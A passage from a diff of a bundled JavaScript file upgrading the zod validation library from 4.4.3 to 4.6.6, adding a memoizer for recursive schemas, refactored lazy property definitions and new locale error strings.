pattern = def.innerType._zod.pattern; + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType._zod.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.innerType._zod.optout); + defineLazyInternal(inst, "pattern", (zod) => { + const pattern = zod.def.innerType._zod.pattern; return pattern ? new RegExp(`^(${cleanRegex(pattern.source)}|null)$`) : void 0; }); - defineLazy(inst._zod, "values", () => { - return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, null]) : void 0; + defineLazyInternal(inst, "values", (zod) => { + return zod.def.innerType._zod.values ? /* @__PURE__ */ new Set([...zod.def.innerType._zod.values, null]) : void 0; }); inst._zod.parse = (payload, ctx) => { if (payload.value === null) @@ -58691,8 +59340,8 @@ var $ZodNullable = /* @__PURE__ */ $constructor("$ZodNullable", (inst, def) => { }); var $ZodDefault = /* @__PURE__ */ $constructor("$ZodDefault", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; - defineLazy(inst._zod, "values", () => def.innerType._zod.values); + inst._zod.optin = "defaulted"; + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); @@ -58716,8 +59365,8 @@ function handleDefaultResult(payload, def) { } var $ZodPrefault = /* @__PURE__ */ $constructor("$ZodPrefault", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; - defineLazy(inst._zod, "values", () => def.innerType._zod.values); + inst._zod.optin = "defaulted"; + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); @@ -58730,8 +59379,8 @@ var $ZodPrefault = /* @__PURE__ */ $constructor("$ZodPrefault", (inst, def) => { }); var $ZodNonOptional = /* @__PURE__ */ $constructor("$ZodNonOptional", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "values", () => { - const v = def.innerType._zod.values; + defineLazyInternal(inst, "values", (zod) => { + const v = zod.def.innerType._zod.values; return v ? new Set([...v].filter((x) => x !== void 0)) : void 0; }); inst._zod.parse = (payload, ctx) => { @@ -58770,46 +59419,37 @@ var $ZodSuccess = /* @__PURE__ */ $constructor("$ZodSuccess", (inst, def) => { return payload; }; }); +function handleCatchResult(payload, result, def, ctx) { + if (!result.issues.length) { + payload.value = result.value; + if (result.memo) + payload.memo = true; + return payload; + } + payload.value = def.catchValue({ + ...result, + value: payload.value, + error: { + issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) + }, + input: payload.value + }); + return payload; +} var $ZodCatch = /* @__PURE__ */ $constructor("$ZodCatch", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; - defineLazy(inst._zod, "optout", () => def.innerType._zod.optout); - defineLazy(inst._zod, "values", () => def.innerType._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType._zod.optin === "defaulted" ? "defaulted" : "optional"); + defineLazyInternal(inst, "optout", (zod) => zod.def.innerType._zod.optout); + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); } - const result = def.innerType._zod.run(payload, ctx); + const result = def.innerType._zod.run({ value: payload.value, issues: [] }, ctx); if (result instanceof Promise) { - return result.then((result2) => { - payload.value = result2.value; - if (result2.issues.length) { - payload.value = def.catchValue({ - ...payload, - error: { - issues: result2.issues.map((iss) => finalizeIssue(iss, ctx, config())) - }, - input: payload.value - }); - payload.issues = []; - payload.fallback = true; - } - return payload; - }); - } - payload.value = result.value; - if (result.issues.length) { - payload.value = def.catchValue({ - ...payload, - error: { - issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) - }, - input: payload.value - }); - payload.issues = []; - payload.fallback = true; + return result.then((result2) => handleCatchResult(payload, result2, def, ctx)); } - return payload; + return handleCatchResult(payload, result, def, ctx); }; }); var $ZodNaN = /* @__PURE__ */ $constructor("$ZodNaN", (inst, def) => { @@ -58829,10 +59469,10 @@ var $ZodNaN = /* @__PURE__ */ $constructor("$ZodNaN", (inst, def) => { }); var $ZodPipe = /* @__PURE__ */ $constructor("$ZodPipe", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "values", () => def.in._zod.values); - defineLazy(inst._zod, "optin", () => def.in._zod.optin); - defineLazy(inst._zod, "optout", () => def.out._zod.optout); - defineLazy(inst._zod, "propValues", () => def.in._zod.propValues); + defineLazyInternal(inst, "values", (zod) => zod.def.in._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.in._zod.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.out._zod.optout); + defineLazyInternal(inst, "propValues", (zod) => zod.def.in._zod.propValues); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { const right = def.out._zod.run(payload, ctx); @@ -58849,18 +59489,18 @@ var $ZodPipe = /* @__PURE__ */ $constructor("$ZodPipe", (inst, def) => { }; }); function handlePipeResult(left, next, ctx) { - if (left.issues.length) { + if (left.issues.some((iss) => iss.code !== "unrecognized_keys")) { left.aborted = true; return left; } - return next._zod.run({ value: left.value, issues: left.issues, fallback: left.fallback }, ctx); + return next._zod.run({ value: left.value, issues: left.issues }, ctx); } var $ZodCodec = /* @__PURE__ */ $constructor("$ZodCodec", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "values", () => def.in._zod.values); - defineLazy(inst._zod, "optin", () => def.in._zod.optin); - defineLazy(inst._zod, "optout", () => def.out._zod.optout); - defineLazy(inst._zod, "propValues", () => def.in._zod.propValues); + defineLazyInternal(inst, "values", (zod) => zod.def.in._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.in._zod.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.out._zod.optout); + defineLazyInternal(inst, "propValues", (zod) => zod.def.in._zod.propValues); inst._zod.parse = (payload, ctx) => { const direction = ctx.direction || "forward"; if (direction === "forward") { @@ -58910,10 +59550,10 @@ var $ZodPreprocess = /* @__PURE__ */ $constructor("$ZodPreprocess", (inst, def) }); var $ZodReadonly = /* @__PURE__ */ $constructor("$ZodReadonly", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "propValues", () => def.innerType._zod.propValues); - defineLazy(inst._zod, "values", () => def.innerType._zod.values); - defineLazy(inst._zod, "optin", () => def.innerType?._zod?.optin); - defineLazy(inst._zod, "optout", () => def.innerType?._zod?.optout); + defineLazyInternal(inst, "propValues", (zod) => zod.def.innerType._zod.propValues); + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType?._zod?.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.innerType?._zod?.optout); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); @@ -58926,23 +59566,66 @@ var $ZodReadonly = /* @__PURE__ */ $constructor("$ZodReadonly", (inst, def) => { }; }); function handleReadonlyResult(payload) { - payload.value = Object.freeze(payload.value); + if (!payload.memo) + payload.value = Object.freeze(payload.value); return payload; } +function leafPattern(schema) { + const def = schema._zod.def; + let pattern = def.pattern; + let isInt = !!def.format?.includes("int"); + let minimum; + let maximum; + for (const ch of def.checks ?? []) { + const d = ch._zod.def; + if (d.pattern) + pattern = d.pattern; + isInt || (isInt = !!d.format?.includes("int")); + const lo = d.minimum ?? d.length; + const hi = d.maximum ?? d.length; + if (lo !== void 0 && (minimum === void 0 || lo > minimum)) + minimum = lo; + if (hi !== void 0 && (maximum === void 0 || hi < maximum)) + maximum = hi; + } + if (pattern) + return pattern.source; + if (minimum !== void 0 && maximum !== void 0 && minimum > maximum) + return "(?!)"; + if (minimum !== void 0 || maximum !== void 0) + return string({ minimum, maximum }).source; + const own2 = schema._zod.pattern; + return (isInt && own2 === number ? integer : own2)?.source; +} +function partPattern(schema) { + const def = schema._zod.def; + const own2 = schema._zod.pattern?.source; + const inner = def.innerType ?? schema._zod.innerType; + if (inner) { + const before = inner._zod.pattern?.source; + const after = partPattern(inner); + if (own2 && before && after && after !== before) { + return own2.replace(cleanRegex(before), () => cleanRegex(after)); + } + return own2; + } + if (def.options) { + const sources = def.options.map(partPattern); + if (sources.every(Boolean)) + return `^(${sources.map((s) => cleanRegex(s)).join("|")})$`; + } + return leafPattern(schema); +} var $ZodTemplateLiteral = /* @__PURE__ */ $constructor("$ZodTemplateLiteral", (inst, def) => { $ZodType.init(inst, def); const regexParts = []; for (const part of def.parts) { if (typeof part === "object" && part !== null) { - if (!part._zod.pattern) { + const source = partPattern(part); + if (!source) { throw new Error(`Invalid template literal part, no pattern found: ${[...part._zod.traits].shift()}`); } - const source = part._zod.pattern instanceof RegExp ? part._zod.pattern.source : part._zod.pattern; - if (!source) - throw new Error(`Invalid template literal part: ${part._zod.traits}`); - const start = source.startsWith("^") ? 1 : 0; - const end = source.endsWith("$") ? source.length - 1 : source.length; - regexParts.push(source.slice(start, end)); + regexParts.push(cleanRegex(source)); } else if (part === null || primitiveTypes.has(typeof part)) { regexParts.push(escapeRegex(`${part}`)); } else { @@ -58976,33 +59659,33 @@ var $ZodTemplateLiteral = /* @__PURE__ */ $constructor("$ZodTemplateLiteral", (i }); var $ZodFunction = /* @__PURE__ */ $constructor("$ZodFunction", (inst, def) => { $ZodType.init(inst, def); - inst._def = def; + Object.defineProperty(inst, "_def", { value: def }); inst._zod.def = def; inst.implement = (func) => { if (typeof func !== "function") { throw new Error("implement() must be called with a function"); } - return function(...args) { + return Object.defineProperty(function(...args) { const parsedArgs = inst._def.input ? parse(inst._def.input, args) : args; const result = Reflect.apply(func, this, parsedArgs); if (inst._def.output) { return parse(inst._def.output, result); } return result; - }; + }, "_zod", { value: inst._zod, enumerable: false }); }; inst.implementAsync = (func) => { if (typeof func !== "function") { throw new Error("implementAsync() must be called with a function"); } - return async function(...args) { + return Object.defineProperty(async function(...args) { const parsedArgs = inst._def.input ? await parseAsync(inst._def.input, args) : args; const result = await Reflect.apply(func, this, parsedArgs); if (inst._def.output) { return await parseAsync(inst._def.output, result); } return result; - }; + }, "_zod", { value: inst._zod, enumerable: false }); }; inst._zod.parse = (payload, _ctx) => { if (typeof payload.value !== "function") { @@ -59041,12 +59724,12 @@ var $ZodFunction = /* @__PURE__ */ $constructor("$ZodFunction", (inst, def) => { output: inst._def.output }); }; - inst.output = (output) => { + inst.output = (output2) => { const F = inst.constructor; return new F({ type: "function", input: inst._def.input, - output + output: output2 }); }; return inst; @@ -59065,10 +59748,10 @@ var $ZodLazy = /* @__PURE__ */ $constructor("$ZodLazy", (inst, def) => { d._cachedInner = def.getter(); return d._cachedInner; }); - defineLazy(inst._zod, "pattern", () => inst._zod.innerType?._zod?.pattern); - defineLazy(inst._zod, "propValues", () => inst._zod.innerType?._zod?.propValues); - defineLazy(inst._zod, "optin", () => inst._zod.innerType?._zod?.optin ?? void 0); - defineLazy(inst._zod, "optout", () => inst._zod.innerType?._zod?.optout ?? void 0); + defineLazyInternal(inst, "pattern", (zod) => zod.innerType?._zod?.pattern); + defineLazyInternal(inst, "propValues", (zod) => zod.innerType?._zod?.propValues); + defineLazyInternal(inst, "optin", (zod) => zod.innerType?._zod?.optin ?? void 0); + defineLazyInternal(inst, "optout", (zod) => zod.innerType?._zod?.optout ?? void 0); inst._zod.parse = (payload, ctx) => { const inner = inst._zod.innerType; return inner._zod.run(payload, ctx); @@ -59081,20 +59764,20 @@ var $ZodCustom = /* @__PURE__ */ $constructor("$ZodCustom", (inst, def) => { return payload; }; inst._zod.check = (payload) => { - const input = payload.value; - const r = def.fn(input); + const input2 = payload.value; + const r = def.fn(input2); if (r instanceof Promise) { - return r.then((r2) => handleRefineResult(r2, payload, input, inst)); + return r.then((r2) => handleRefineResult(r2, payload, input2, inst)); } - handleRefineResult(r, payload, input, inst); + handleRefineResult(r, payload, input2, inst); return; }; }); -function handleRefineResult(result, payload, input, inst) { +function handleRefineResult(result, payload, input2, inst) { if (!result) { const _iss = { code: "custom", - input, + input: input2, inst, // incorporates params.error into issue reporting path: [...inst._zod.def.path ?? []], @@ -59108,14 +59791,293 @@ function handleRefineResult(result, payload, input, inst) { } } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/index.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/memoizer.js +var $ZodCyclicError = class extends Error { + constructor() { + super(`Cannot parse a reference cycle that closes through a transform`); + this.name = "ZodCyclicError"; + } +}; +var STATE = "~memo"; +var NO_ISSUES = []; +function isRef(value) { + return value !== null && typeof value === "object"; +} +function cloneIssues(issues) { + return issues.map((iss) => iss.path ? { ...iss, path: iss.path.slice() } : { ...iss }); +} +var recursive = /* @__PURE__ */ new WeakMap(); +var NONE = 0; +var ASSUMED = 1; +var PROVEN = 2; +function isRecursive(inst, stack, resolve) { + const cached2 = recursive.get(inst); + if (cached2 !== void 0) + return cached2 ? PROVEN : NONE; + if (stack.has(inst)) + return PROVEN; + stack.add(inst); + let result = NONE; + const check3 = (child) => { + if (result !== PROVEN && child?._zod) { + const answer = isRecursive(child, stack, resolve); + if (answer > result) + result = answer; + } + }; + const shape = (sh, spread) => { + let answer = NONE; + for (const key of Reflect.ownKeys(sh)) { + const desc2 = Object.getOwnPropertyDescriptor(sh, key); + if (spread && !desc2.enumerable) + continue; + const child = desc2.get ? ASSUMED : desc2.value?._zod ? isRecursive(desc2.value, stack, resolve) : NONE; + if (child > answer) + answer = child; + } + return answer; + }; + const merge2 = (answer) => { + if (answer > result) + result = answer; + }; + const def = inst._zod.def; + const kind = def.type; + switch (kind) { + case "object": { + const raw = rawShape(def); + merge2(raw ? shape(raw, true) : ASSUMED); + check3(def.catchall); + break; + } + case "array": + check3(def.element); + break; + case "tuple": + for (const el of def.items) + check3(el); + check3(def.rest); + break; + case "record": + case "map": + check3(def.keyType); + check3(def.valueType); + break; + case "set": + check3(def.valueType); + break; + case "union": + for (const el of def.options) + check3(el); + break; + case "intersection": + check3(def.left); + check3(def.right); + break; + case "optional": + case "nullable": + case "default": + case "prefault": + case "catch": + case "readonly": + case "nonoptional": + case "promise": + case "success": + check3(def.innerType); + break; + case "pipe": + check3(def.in); + check3(def.out); + break; + case "function": + check3(def.input); + check3(def.output); + break; + // `$ZodLazy` caches its inner on the def, so a resolved edge is followed exactly + case "lazy": { + const inner = def._cachedInner ?? (resolve ? inst._zod.innerType : void 0); + merge2(inner ? isRecursive(inner, stack, false) : ASSUMED); + break; + } + // a leaf by choice: `parts` are regex fragments, not data positions + case "template_literal": + // leaves + case "string": + case "number": + case "int": + case "boolean": + case "bigint": + case "symbol": + case "undefined": + case "null": + case "void": + case "never": + case "any": + case "unknown": + case "date": + case "nan": + case "enum": + case "literal": + case "file": + case "transform": + case "custom": + break; + default: { + kind; + for (const key in def) { + const desc2 = Object.getOwnPropertyDescriptor(def, key); + if (!desc2 || desc2.get) + continue; + const value = desc2.value; + if (!value || typeof value !== "object") + continue; + if (value._zod) + check3(value); + else if (Array.isArray(value)) + for (const el of value) + check3(el); + } + } + } + stack.delete(inst); + return settle(inst, result); +} +function settle(inst, answer) { + if (answer !== ASSUMED) + recursive.set(inst, answer === PROVEN); + return answer; +} +function isRecursiveSchema(inst) { + return isRecursive(inst, /* @__PURE__ */ new Set(), true) !== NONE; +} +function bucketFor(state, inst) { + let bucket = state.buckets.get(inst); + if (!bucket) { + bucket = /* @__PURE__ */ new WeakMap(); + state.buckets.set(inst, bucket); + } + return bucket; +} +var handoff; +var open = []; +var memo = { + alloc(_inst, payload, empty) { + const bucket = handoff; + if (!bucket) + return empty; + handoff = void 0; + const entry = { value: empty, issues: null }; + bucket.set(payload.value, entry); + open.push(entry); + return empty; + }, + guard(inst) { + var _a3; + (_a3 = inst._zod).deferred ?? (_a3.deferred = []); + inst._zod.deferred.push(() => { + const base = inst._zod.parse; + const wrapped = (payload, ctx) => { + if (ctx.direction !== "backward" && isBackEdge(ctx, payload.value)) + throw new $ZodCyclicError(); + return base(payload, ctx); + }; + inst._zod.parse = wrapped; + if (inst._zod.run === base) + inst._zod.run = wrapped; + }); + }, + attach(inst) { + var _a3; + let isRecursiveInst; + let rechecked = false; + let lastCtx; + let lastBucket; + (_a3 = inst._zod).deferred ?? (_a3.deferred = []); + inst._zod.deferred.push(() => { + const base = inst._zod.parse; + const wrapped = (payload, ctx) => { + if (isRecursiveInst === void 0) { + const walked = isRecursive(inst, /* @__PURE__ */ new Set(), false); + if (walked === NONE) { + inst._zod.parse = base; + if (inst._zod.run === wrapped) + inst._zod.run = base; + return base(payload, ctx); + } + if (walked === PROVEN || rechecked) + isRecursiveInst = true; + else + rechecked = true; + } + const input2 = payload.value; + if (!isRef(input2)) + return base(payload, ctx); + let state = ctx[STATE]; + if (!state) { + state = { buckets: /* @__PURE__ */ new WeakMap(), backEdges: void 0 }; + ctx[STATE] = state; + } + let bucket; + if (lastCtx === ctx) { + bucket = lastBucket; + } else { + bucket = bucketFor(state, inst); + lastCtx = ctx; + lastBucket = bucket; + } + const hit = bucket.get(input2); + if (hit) { + payload.value = hit.value; + if (hit.issues) { + if (hit.issues.length) + payload.issues.push(...cloneIssues(hit.issues)); + } else { + payload.memo = true; + state.backEdges ?? (state.backEdges = /* @__PURE__ */ new WeakSet()); + state.backEdges.add(hit.value); + } + return payload; + } + handoff = bucket; + const depth = open.length; + const result = base(payload, ctx); + handoff = void 0; + const entry = open.length > depth ? open.pop() : void 0; + if (result instanceof Promise) { + return result.then((r) => { + if (entry) + entry.issues = r.issues.length ? cloneIssues(r.issues) : NO_ISSUES; + return r; + }); + } + if (entry) + entry.issues = result.issues.length ? cloneIssues(result.issues) : NO_ISSUES; + return result; + }; + inst._zod.parse = wrapped; + if (inst._zod.run === base) + inst._zod.run = wrapped; + }); + } +}; +function memoizer() { + return memo; +} +function isBackEdge(ctx, value) { + const backEdges = ctx[STATE]?.backEdges; + return backEdges !== void 0 && isRef(value) && backEdges.has(value); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/index.js var locales_exports = {}; __export(locales_exports, { ar: () => ar_default, az: () => az_default, be: () => be_default, bg: () => bg_default, + bn: () => bn_default, ca: () => ca_default, + ckb: () => ckb_default, cs: () => cs_default, da: () => da_default, de: () => de_default, @@ -59127,7 +60089,9 @@ __export(locales_exports, { fi: () => fi_default, fr: () => fr_default, frCA: () => fr_CA_default, + gu: () => gu_default, he: () => he_default, + hi: () => hi_default, hr: () => hr_default, hu: () => hu_default, hy: () => hy_default, @@ -59138,22 +60102,29 @@ __export(locales_exports, { ka: () => ka_default, kh: () => kh_default, km: () => km_default, + kn: () => kn_default, ko: () => ko_default, lt: () => lt_default, mk: () => mk_default, ms: () => ms_default, + ne: () => ne_default, nl: () => nl_default, + nn: () => nn_default, no: () => no_default, ota: () => ota_default, pl: () => pl_default, ps: () => ps_default, pt: () => pt_default, + ptBR: () => pt_BR_default, ro: () => ro_default, ru: () => ru_default, + sk: () => sk_default, sl: () => sl_default, sv: () => sv_default, ta: () => ta_default, + tg: () => tg_default, th: () => th_default, + tk: () => tk_default, tr: () => tr_default, ua: () => ua_default, uk: () => uk_default, @@ -59165,13 +60136,14 @@ __export(locales_exports, { zhTW: () => zh_TW_default }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ar.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ar.js var error = () => { const Sizable = { string: { unit: "\u062D\u0631\u0641", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, file: { unit: "\u0628\u0627\u064A\u062A", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, array: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, - set: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" } + set: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" }, + map: { unit: "\u0639\u0646\u0635\u0631", verb: "\u0623\u0646 \u064A\u062D\u0648\u064A" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59197,12 +60169,16 @@ var error = () => { duration: "\u0645\u062F\u0629 \u0628\u0645\u0639\u064A\u0627\u0631 ISO", ipv4: "\u0639\u0646\u0648\u0627\u0646 IPv4", ipv6: "\u0639\u0646\u0648\u0627\u0646 IPv6", + mac: "\u0639\u0646\u0648\u0627\u0646 MAC", cidrv4: "\u0645\u062F\u0649 \u0639\u0646\u0627\u0648\u064A\u0646 \u0628\u0635\u064A\u063A\u0629 IPv4", cidrv6: "\u0645\u062F\u0649 \u0639\u0646\u0627\u0648\u064A\u0646 \u0628\u0635\u064A\u063A\u0629 IPv6", base64: "\u0646\u064E\u0635 \u0628\u062A\u0631\u0645\u064A\u0632 base64-encoded", base64url: "\u0646\u064E\u0635 \u0628\u062A\u0631\u0645\u064A\u0632 base64url-encoded", json_string: "\u0646\u064E\u0635 \u0639\u0644\u0649 \u0647\u064A\u0626\u0629 JSON", e164: "\u0631\u0642\u0645 \u0647\u0627\u062A\u0641 \u0628\u0645\u0639\u064A\u0627\u0631 E.164", + credit_card: "\u0631\u0642\u0645 \u0628\u0637\u0627\u0642\u0629 \u0627\u0644\u0627\u0626\u062A\u0645\u0627\u0646", + currency_code: "\u0631\u0645\u0632 \u0627\u0644\u0639\u0645\u0644\u0629", + iban: "IBAN", jwt: "JWT", template_literal: "\u0645\u062F\u062E\u0644" }; @@ -59272,13 +60248,14 @@ function ar_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/az.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/az.js var error2 = () => { const Sizable = { string: { unit: "simvol", verb: "olmal\u0131d\u0131r" }, file: { unit: "bayt", verb: "olmal\u0131d\u0131r" }, array: { unit: "element", verb: "olmal\u0131d\u0131r" }, - set: { unit: "element", verb: "olmal\u0131d\u0131r" } + set: { unit: "element", verb: "olmal\u0131d\u0131r" }, + map: { unit: "element", verb: "olmal\u0131d\u0131r" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59304,12 +60281,16 @@ var error2 = () => { duration: "ISO duration", ipv4: "IPv4 address", ipv6: "IPv6 address", + mac: "MAC address", cidrv4: "IPv4 range", cidrv6: "IPv6 range", base64: "base64-encoded string", base64url: "base64url-encoded string", json_string: "JSON string", e164: "E.164 number", + credit_card: "kredit kart\u0131 n\xF6mr\u0259si", + currency_code: "valyuta kodu", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -59378,7 +60359,7 @@ function az_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/be.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/be.js function getBelarusianPlural(count, one, few, many) { const absCount = Math.abs(count); const lastDigit = absCount % 10; @@ -59420,6 +60401,14 @@ var error3 = () => { }, verb: "\u043C\u0435\u0446\u044C" }, + map: { + unit: { + one: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442", + few: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u044B", + many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u0430\u045E" + }, + verb: "\u043C\u0435\u0446\u044C" + }, file: { unit: { one: "\u0431\u0430\u0439\u0442", @@ -59453,12 +60442,16 @@ var error3 = () => { duration: "ISO \u043F\u0440\u0430\u0446\u044F\u0433\u043B\u0430\u0441\u0446\u044C", ipv4: "IPv4 \u0430\u0434\u0440\u0430\u0441", ipv6: "IPv6 \u0430\u0434\u0440\u0430\u0441", + mac: "MAC \u0430\u0434\u0440\u0430\u0441", cidrv4: "IPv4 \u0434\u044B\u044F\u043F\u0430\u0437\u043E\u043D", cidrv6: "IPv6 \u0434\u044B\u044F\u043F\u0430\u0437\u043E\u043D", base64: "\u0440\u0430\u0434\u043E\u043A \u0443 \u0444\u0430\u0440\u043C\u0430\u0446\u0435 base64", base64url: "\u0440\u0430\u0434\u043E\u043A \u0443 \u0444\u0430\u0440\u043C\u0430\u0446\u0435 base64url", json_string: "JSON \u0440\u0430\u0434\u043E\u043A", e164: "\u043D\u0443\u043C\u0430\u0440 E.164", + credit_card: "\u043D\u0443\u043C\u0430\u0440 \u043A\u0440\u044D\u0434\u044B\u0442\u043D\u0430\u0439 \u043A\u0430\u0440\u0442\u044B", + currency_code: "\u043A\u043E\u0434 \u0432\u0430\u043B\u044E\u0442\u044B", + iban: "IBAN", jwt: "JWT", template_literal: "\u0443\u0432\u043E\u0434" }; @@ -59535,13 +60528,14 @@ function be_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/bg.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/bg.js var error4 = () => { const Sizable = { string: { unit: "\u0441\u0438\u043C\u0432\u043E\u043B\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, file: { unit: "\u0431\u0430\u0439\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, array: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, - set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" } + set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" }, + map: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0430", verb: "\u0434\u0430 \u0441\u044A\u0434\u044A\u0440\u0436\u0430" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59567,12 +60561,16 @@ var error4 = () => { duration: "ISO \u043F\u0440\u043E\u0434\u044A\u043B\u0436\u0438\u0442\u0435\u043B\u043D\u043E\u0441\u0442", ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441", ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441", + mac: "MAC \u0430\u0434\u0440\u0435\u0441", cidrv4: "IPv4 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", cidrv6: "IPv6 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", base64: "base64-\u043A\u043E\u0434\u0438\u0440\u0430\u043D \u043D\u0438\u0437", base64url: "base64url-\u043A\u043E\u0434\u0438\u0440\u0430\u043D \u043D\u0438\u0437", json_string: "JSON \u043D\u0438\u0437", e164: "E.164 \u043D\u043E\u043C\u0435\u0440", + credit_card: "\u043D\u043E\u043C\u0435\u0440 \u043D\u0430 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u0430 \u043A\u0430\u0440\u0442\u0430", + currency_code: "\u043A\u043E\u0434 \u043D\u0430 \u0432\u0430\u043B\u0443\u0442\u0430", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u0445\u043E\u0434" }; @@ -59656,13 +60654,128 @@ function bg_default() { }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ca.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/bn.js var error5 = () => { + const Sizable = { + string: { unit: "\u0985\u0995\u09CD\u09B7\u09B0", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + file: { unit: "\u09AC\u09BE\u0987\u099F", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + array: { unit: "\u0986\u0987\u099F\u09C7\u09AE", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + set: { unit: "\u0986\u0987\u099F\u09C7\u09AE", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" }, + map: { unit: "\u098F\u09A8\u09CD\u099F\u09CD\u09B0\u09BF", verb: "\u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0987\u09A8\u09AA\u09C1\u099F", + email: "\u0987\u09AE\u09C7\u0987\u09B2 \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + url: "URL", + emoji: "\u0987\u09AE\u09CB\u099C\u09BF", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u09A4\u09BE\u09B0\u09BF\u0996 \u0993 \u09B8\u09AE\u09AF\u09BC", + date: "ISO \u09A4\u09BE\u09B0\u09BF\u0996", + time: "ISO \u09B8\u09AE\u09AF\u09BC", + duration: "ISO \u09B8\u09AE\u09AF\u09BC\u0995\u09BE\u09B2", + ipv4: "IPv4 \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + ipv6: "IPv6 \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + mac: "MAC \u09A0\u09BF\u0995\u09BE\u09A8\u09BE", + cidrv4: "IPv4 \u09B0\u09C7\u099E\u09CD\u099C", + cidrv6: "IPv6 \u09B0\u09C7\u099E\u09CD\u099C", + base64: "base64-\u098F\u09A8\u0995\u09CB\u09A1\u09C7\u09A1 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982", + base64url: "base64url-\u098F\u09A8\u0995\u09CB\u09A1\u09C7\u09A1 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982", + json_string: "JSON 